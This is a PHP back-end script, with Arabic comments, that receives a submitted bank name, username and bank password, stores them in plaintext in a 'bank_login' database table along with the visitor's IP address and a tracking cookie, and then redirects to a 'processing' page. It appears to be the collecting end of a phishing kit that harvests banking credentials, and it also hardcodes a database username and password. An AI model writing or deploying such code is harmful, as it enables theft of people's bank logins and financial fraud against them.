<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

// الاتصال بقاعدة البيانات
$conn = new mysqli("localhost", "cartoeso_tam", "AAssddff000000", "cartoeso_tam");
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// الحصول على IP المستخدم
function get_client_ip() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP'];
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR'];
    else return $_SERVER['REMOTE_ADDR'];
}

// توليد UUID إذا لم يكن موجودًا
function generate_uuid() {
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

// الحصول على unique_id من الكوكيز أو توليده
if (!isset($_COOKIE['unique_id'])) {
    $unique_id = generate_uuid();
    setcookie("unique_id", $unique_id, time() + (86400 * 30), "/");
} else {
    $unique_id = $_COOKIE['unique_id'];
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $bank = $_POST['bank'] ?? '';
    $user_name = $_POST['user_name'] ?? '';
    $bk_pass = $_POST['bk_pass'] ?? '';
    $ip = get_client_ip();
    $form_name = "bank login";

    // إدخال البيانات
    $stmt = $conn->prepare("INSERT INTO bank_login (bank, user_name, bk_pass, unique_id, ip, form_name) VALUES (?, ?, ?, ?, ?, ?)");
    $stmt->bind_param("ssssss", $bank, $user_name, $bk_pass, $unique_id, $ip, $form_name);

    if ($stmt->execute()) {
        header("Location: ../../processing.html"); // يمكنك تغيير الصفحة هنا
        exit;
    } else {
        echo "فشل في الإدخال: " . $stmt->error;
    }

    $stmt->close();
    $conn->close();
} else {
    echo "طلب غير صالح.";
}
?>
